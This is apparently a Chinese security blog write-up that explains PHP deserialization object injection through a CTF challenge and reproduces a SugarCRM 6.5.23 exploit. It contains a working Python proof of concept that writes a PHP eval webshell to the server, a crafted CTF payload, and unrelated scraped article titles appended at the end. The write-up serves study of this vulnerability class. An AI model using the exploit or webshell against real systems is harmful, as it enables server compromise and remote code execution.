一、CTF题目

前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。

此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下:

class SoFun{

protected $file='index.php';

function __destruct(){

if(!empty($this->file)) {

if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)

show_source(dirname (__FILE__).'/'.$this ->file);

else      die('Wrong filename.');

}}

function __wakeup(){ $this-> file='index.php'; }

public function __toString(){return '' ;}}

if (!isset($_GET['file'])){ show_source('index.php'); }

else{

$file=base64_decode( $_GET['file']);

echo unserialize($file ); }

?>   #

1、代码审计

审计代码,可以发现要得到KEY,思路如下: 1、源码最后提示,KEY在flag.php里面; 2、注意到__destruct魔术方法中,有这么一段代码,将file文件内容显示出来 show_source(dirname(FILE).’/‘.$this->file),这个是解题关键; 3、若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用__destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码); 4、上面的分析是多么美好,但从代码分析可以知道,还有__wakeup这个拦路虎,通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php; 5、总结下来就是,想办法把file设为flag.php,调用__destruct方法,且绕过__wakeup。

2、PHP反序列化对象注入漏洞

上网查资料,发现原来这个CTF题目是根据PHP反序列化对象注入漏洞改编的。

简单来说,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。举个栗子,比如有个Student类,里面有个参数为name。 实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;} Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。

3、CTF Payload

明确了这些之后,就可以构造出Payload了,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2:  指的是 有两个对象

S:7:”\00*\00file”   指的是有个属性,有7个字符,名为\00*\00file

s:8:”flag.php”   指的是属性值,有8个字符,值为flag.php

值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。另外,还需要经过Base64编码,结果为: Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

二、反序列魔术方法调试

题目虽然搞定了,但对于反序列化的几个魔术方法感觉掌握还是不够,于是决定写段简单的代码辅助理解。

1、构造类

class Student{

protected $name = 'Zhangsan';

public $sex = 'man';

function __wakeup(){

echo ' __wake is working'; echo '';

echo 'I am:'.$this->name = 'zhangsan'; echo '';}

function __destruct(){

echo '__destruct is working'; echo '';

echo 'I am:'.$this->name; echo '';}}

2、将对象序列化为字符串

$Zhangsan = new Student;

$saveData = serialize($Zhangsan); //序列化后的字符串,可以保存在数据库或者文本文件中。echo 'saveData is===>'.$saveData; echo '';

3、正常反序列化情况

根据第一步得到的格式,构造Payload,可以发现__wakeup()方法正常运行,name仍然是zhangsan

4、异常反序列化情况

根据上面得到的格式,把属性个数改为3,构造Payload,可以发现已绕过__wakeup()方法,且__destruct方法将name置为我们想要的lisi。

三、漏洞原理分析

从CTF题目和上面魔术方法调试的例子可以看出,造成漏洞主要有两个问题:应用代码问题、底层PHP漏洞。

(一)应用代码反序列化漏洞产生条件

1、反序列化函数,传入参数可控,如上面那道CTF题目$file就是可控的; 2、__destruct()方法可利用,如CTF题目就是利用__destruct()方法中的show_source(),从而暴露源码; 3、以上两点没有对传参进行过滤,否则无法构成目的Payload。

(二)底层PHP漏洞

简单来说,如果对象属性检查异常,那么Purrase_nested_data()将会返回0,且不调用WAKEUP()方法,但是在这之前对象和它的属性已经被创建,紧接着对象将被破坏,从而执行DESTRUCT()函数,于是导致了漏洞。

四、SugarCRM PHP反序列化对象注入漏洞

查资料的过程中,发现PHP反序列化漏洞原来在SugarCRM上已经被应用过。

而SugarCRM是一款完全开放源代码的商业开源软件,拥有广泛的用户群体,可见此漏洞影响范围之大。

下面进行漏洞还原,顺便学习下了解底层漏洞之后,如何审计应用代码。

(一)环境搭建

根据报告,此漏洞影响的版本为: SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10 于是从sourceforge上下载SugarCRM 6.5.23,一顿安装之后,搭载在Wamp上即可使用。 下载链接:https://sourceforge.net/projects/sugarcrm/files/OldFiles/1%20-%20SugarCRM%206.5.X/SugarCommunityEdition-6.5.X/ 而我的环境是:SugarCRM = 6.5.23; PHP = 5.3.10

(二)代码审计

为了方便审计代码,推荐用PhpStorm作为IDE,方便查阅。

明确三个条件

按照上面介绍,构成漏洞需满足三个条件: 1、反序列化函数,传入参数可控; 2、__destruct()方法可利用; 3、以上两点没有对传参进行过滤。

按照这三个条件,开始在SugarCRM上寻找目标。

寻找传入参数可控的反序列化函数

通过PhpStrom的查找功能,找到了这样的一个函数

$data= sugar_unserialize(from_html($data));

继续查看sugar_unserialize()函数定义,发现正则表达式虽然进行了过滤,但很容易被绕过

比如把o:32:改成o:+32:,就可以完成绕过(/i是忽略大小写的意思,在下图软件中通过打勾实现),从而把$value传入到unserialize()方法中实现反序列化。

可控的传入参数找到了,接下来就是找可利用的destruct()、wakeup()

通过PhpStrom的查找功能,发现在\include\SugarCache\SugarCacheFile.php有我们刚才接触到的两个魔术方法__destruct()、__wakeup(),并且有如下发现: 1、wakeup()方法会清除对象属性,不过好在我们可以绕过;2、destruct()方法似乎还能通过sugar_file_put_contents()上传文件,但前提是$this->_cacheChanged=true;

3、继续看sugar_file_put_contents()这个方法,可以通过$this->_cacheFileName、$this->_localStore实现文件上传。其中:

$filename =sugar_cached($this->_cacheFileName);

$data =serialize($this->_localStore);

4、$_cacheFileName、$_cacheChanged都是protected属性参数,所以构造Payload时,需要在参数名前加\00*\00

5、以上两个条件均没有形成有效的过滤限制,所以构造Payload应该是可行的

(三)Python payload构造与菜刀连接

参考了大表哥p0wd3r的代码,POC代码如下:

import requests as req

url = ‘http://127.0.0.1/SugarCE-Full-6.5.23/service/v4/rest.php‘data = {

‘method’: ‘login’,

‘input_type’: ‘Serialize’,

‘rest_data’:

‘O:+14:”SugarCacheFile”:23:{S:17:”\00\00_cacheFileName”;s:18:”../custom/eval.php”;S:16:”\00\00_cacheChanged”;b:1;S:14:”\00*\00_localStore”;a:1:{i:0;s:29:”<?php

eval($_POST[\’CTF\’]); ?>”;}}’,

}

req.post(url, data=data)

在/custom/目录下生成了一句话木马文件 eval.php,接着就可以上菜刀了。

五、参考文献

https://bugs.php.net/bug.php?id=72663

https://paper.seebug.org/39/

*文章首发于FreeBuf

ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞相关推荐

  1. Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)

    文件上传漏洞的概括 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以 ...

  2. struts2文件上传一个错误的解决

    struts2文件上传一个错误的解决 在做struts2的多文件上传时,选择了几个比较大的文件,点击"提交"后,画面没有提示说文件太大,而是清空了各个表单项,查看控制台显示如下错误 ...

  3. “Hello,Github!——如何配置并上传一个已有项目到Git上

    "Hello,Github!"--如何配置并上传一个已有项目到Git上           注意!前言十分简短!      如今,Github已经成为了管理软件开发以及发现别人优秀 ...

  4. ASP.NET上传一个文件夹

    之前仿造uploadify写了一个HTML5版的文件上传插件,没看过的朋友可以点此先看一下~得到了不少朋友的好评,我自己也用在了项目中,不论是用户头像上传,还是各种媒体文件的上传,以及各种个性的业务需 ...

  5. 利用put、move的请求方式对IIS6.0服务器上传执行asp木马

    利用put.move的请求方式上传执行木马 实验环境:windows-server2003服务器(安装IIs6.0服务器)windows2007 关闭防火墙 使用工具:iiswrite 中国菜刀软件 ...

  6. TCP:利用Socket编程技术实现客户端向服务端上传一个图片。

    问题: 利用Socket编程技术实现客户端向服务端上传一个图片的程序. 客户端: import java.io.*; import java.net.Socket;public class clien ...

  7. Vue3中Element-Plus的el-upload限制只上传一个文件(最简单明了)

    核心技术: //限制只上传一个文件 function handleChangePic(file:any,fileList:any){if (fileList.length > 1) {fileL ...

  8. vue3 el-upload 上传附件及预览 限制只能上传一个图片或者pdf格式的文件

    vue3 el-upload 上传附件及预览 限制只能上传一个图片或者pdf格式的文件 效果如图 直接看代码吧 template部分 <div class="file-upload&q ...

  9. 【文件上传绕过】——后端检测_文件的扩展名检测漏洞

    文章目录 一.漏洞说明: 二.工具: 三.实验环境: 四.实验目的: 五.检测方法: 1. 黑名单: 2. 白名单: 六.绕过方式: 1. 白名单绕过: 1.1 解析漏洞: 1.2 截断上传: 原理: ...

最新文章

  1. Android实战——第三方服务之Bmob后端云的推送服务的集成和使用(三)
  2. Scala 类和对象详解
  3. jzoj4228-C【dp】
  4. 四种策略确保 RabbitMQ 消息发送可靠性!你用哪种?
  5. oracle导出客户机使用us7a,导出已复制的文件系统 - Oracle® ZFS Storage Appliance 管理指南,发行版 OS8.6.0...
  6. C++运算符重载 摘自网络
  7. 制造爆款:建立“增长团队”
  8. mysql中3个月之前日期_在MySQL中从当前日期选择当前日期到3个月之间的日期?
  9. java搭建后台步骤_Java后台开发环境搭建 – 黄毅超的博客
  10. 双向晶闸管,调压电路,开关电路,楼梯灯电路,光控路灯,无电弧接触器电路
  11. voip无线服务器,VoIP服务器搭建
  12. 2022年最新版黑马程序员Java学习路线
  13. 网页设计Dreamweaver【2】
  14. dex字符串解密_Dex加密(上)
  15. 预言机(Oracle)
  16. 数据泄露事件频发,深扒企业数据库安全隐患(内附高效防护手段)
  17. 电脑删除快捷键还有哪些?学会了让工作效率更提升
  18. 【vim】你的背包里,缺不缺一份vim简明教程嘞?
  19. 邵东一中2021年高考成绩查询,湖南邵阳2020高考成绩,邵东一中势头强劲,包揽邵阳市文理状元...
  20. 人物-物理学家:爱因斯坦

热门文章

  1. 公立计算机大学排名,全国公办软件工程大学排名
  2. python 透明图片合成_python:图片合成(PIL 库Image类模块)
  3. 用C语言实现的简单Web服务器(Linux)
  4. Ubuntu 18.04及几款应用的安装
  5. Python爬取6271家死亡公司数据,一眼看尽十年创业公司消亡史!
  6. 基于微信小程序的宠物医院诊所小程序源码
  7. 露珠----让人窒息
  8. C程序设计 谭浩强 第三章
  9. OneNote 深度评测:使用资源、插件、模版
  10. 【重点】心田花开|人教版小学一年级语文上册汉语拼音